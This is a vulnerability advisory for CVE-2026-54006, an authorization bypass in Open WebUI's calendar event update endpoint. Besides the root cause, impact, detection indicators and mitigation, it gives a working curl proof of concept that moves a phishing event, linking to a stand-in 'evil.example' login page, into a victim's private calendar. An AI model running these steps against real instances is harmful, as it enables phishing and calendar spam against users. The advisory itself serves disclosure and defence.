CVE-2026-54006: 
Python vulnerability analysis and mitigation

CVE-2026-54006 is an Insecure Direct Object Reference (IDOR) vulnerability in Open WebUI — a self-hosted AI platform — that allows authenticated users to inject calendar events into other users' private calendars by bypassing destination authorization checks. It affects all versions up to and including 0.9.5, and was disclosed on June 11, 2026, with a patch released in version 0.9.6. The vulnerability carries a CVSS v3.1 base score of 4.3 (Moderate) (GitHub Advisory, Open WebUI Advisory).

The root cause is CWE-639 (Authorization Bypass Through User-Controlled Key): the POST /api/v1/calendars/events/{event_id}/update endpoint in backend/open_webui/routers/calendar.py (lines 283–297) correctly validates write access to the source calendar (event.calendar_id) but never validates whether the caller has write permission to the destination calendar_id supplied in the request body. The model layer (update_event_by_id in calendar.py:658–693) then unconditionally persists the attacker-supplied calendar_id. By contrast, the create_event endpoint at line 255 does perform the destination check (_check_calendar_access(form_data.calendar_id, user, 'write')), confirming the omission is specific to the update path. The vulnerability is exploitable on default configuration since both ENABLE_CALENDAR and USER_PERMISSIONS_FEATURES_CALENDAR default to True (Open WebUI Advisory).

An authenticated regular-role user can move events from their own calendar into any other user's private calendar if they know the target calendar's UUID, effectively escalating from read-only to write access on shared calendars. The injected events appear natively inside the victim's calendar (not as external invites), enabling phishing and social engineering — for example, embedding formatted links or tracking beacons via HTML injection in the event title or location fields (DOMPurify prevents XSS but allows HTML). Additionally, the attacker can perform unlimited calendar spam since they lose access to each moved event but can repeat the operation with new events, creating a denial-of-service condition for the victim's calendar (Open WebUI Advisory, GitHub Advisory).

1. Setup: Deploy or identify a vulnerable Open WebUI instance (≤ 0.9.5) with calendar features enabled (default). Obtain a valid JWT for an attacker account ($ATTACKER_TOKEN) and identify a target victim account.
2. Obtain victim's calendar ID: Acquire the victim's calendar UUID via a read-only share (the ID is returned by GET /api/v1/calendars/), an event invitation where the victim adds the attacker as an attendee (the CalendarEventModel payload includes calendar_id), or any side-channel (logs, screenshots).

   VICTIM_CALENDAR_ID=$(curl -s "$OPENWEBUI/api/v1/calendars/" \
     -H "Authorization: Bearer $VICTIM_TOKEN" | python3 -c 'import sys,json;print(json.load(sys.stdin)[0]["id"])')

3. Retrieve attacker's own calendar ID:

   ATTACKER_CAL=$(curl -s "$OPENWEBUI/api/v1/calendars/" \
     -H "Authorization: Bearer $ATTACKER_TOKEN" | python3 -c 'import sys,json;print(json.load(sys.stdin)[0]["id"])')

4. Create a malicious event in the attacker's own calendar (this succeeds with HTTP 200):

   EVENT_ID=$(curl -s -X POST "$OPENWEBUI/api/v1/calendars/events/create" \
     -H "Authorization: Bearer $ATTACKER_TOKEN" -H 'Content-Type: application/json' \
     -d "{\"calendar_id\":\"$ATTACKER_CAL\",\"title\":\"[INJECTED] Mandatory re-auth: https://evil.example/login\",\"description\":\"Session expired.\",\"location\":\"\",\"start_at\":1778400000000000000,\"end_at\":1778403600000000000}" \
     | python3 -c 'import sys,json;print(json.load(sys.stdin)["id"])')

5. Re-parent the event into the victim's calendar via the vulnerable update endpoint (no destination ACL check — returns HTTP 200):

   curl -s -X POST "$OPENWEBUI/api/v1/calendars/events/$EVENT_ID/update" \
     -H "Authorization: Bearer $ATTACKER_TOKEN" -H 'Content-Type: application/json' \
     -d "{\"calendar_id\":\"$VICTIM_CALENDAR_ID\"}"

6. Verify: Query the victim's calendar events — the injected event now appears in the victim's private calendar. The attacker's subsequent GET /events/{id} returns 403, confirming the move succeeded and the attacker no longer has access to the event (Open WebUI Advisory).

• Network: Repeated POST requests to /api/v1/calendars/events/<uuid>/update from a single user account targeting multiple different calendar_id values in the request body; calendar_id in the request body differs from the calendar ID associated with the authenticated user.
• Logs: API access logs showing HTTP 200 responses to /api/v1/calendars/events/{event_id}/update where the calendar_id in the request body does not match the user's own calendar IDs; a pattern of POST /api/v1/calendars/events/create immediately followed by POST /api/v1/calendars/events/{id}/update from the same token.
• Application Data: Calendar events appearing in a user's calendar with user_id belonging to a different account (attacker's user ID on an event in the victim's calendar); event titles or locations containing HTML markup, external URLs, or phishing-style content such as [INJECTED] prefixes or credential-harvesting links (Open WebUI Advisory).

Upgrade Open WebUI to version 0.9.6 or later, which adds a destination calendar_id authorization check in the update_event endpoint, mirroring the check already present in create_event (Open WebUI Advisory, GitHub Advisory). If immediate patching is not possible, restrict API access to the /api/v1/calendars/events/{event_id}/update endpoint at the network or reverse-proxy level, or disable the calendar feature entirely by setting ENABLE_CALENDAR=False and USER_PERMISSIONS_FEATURES_CALENDAR=False in the configuration. Monitor API logs for suspicious patterns where the calendar_id in update request bodies differs from the authenticated user's own calendar IDs.